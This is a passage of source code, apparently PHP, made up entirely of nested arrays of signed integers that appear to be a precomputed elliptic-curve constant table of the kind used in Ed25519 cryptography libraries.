                array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523),
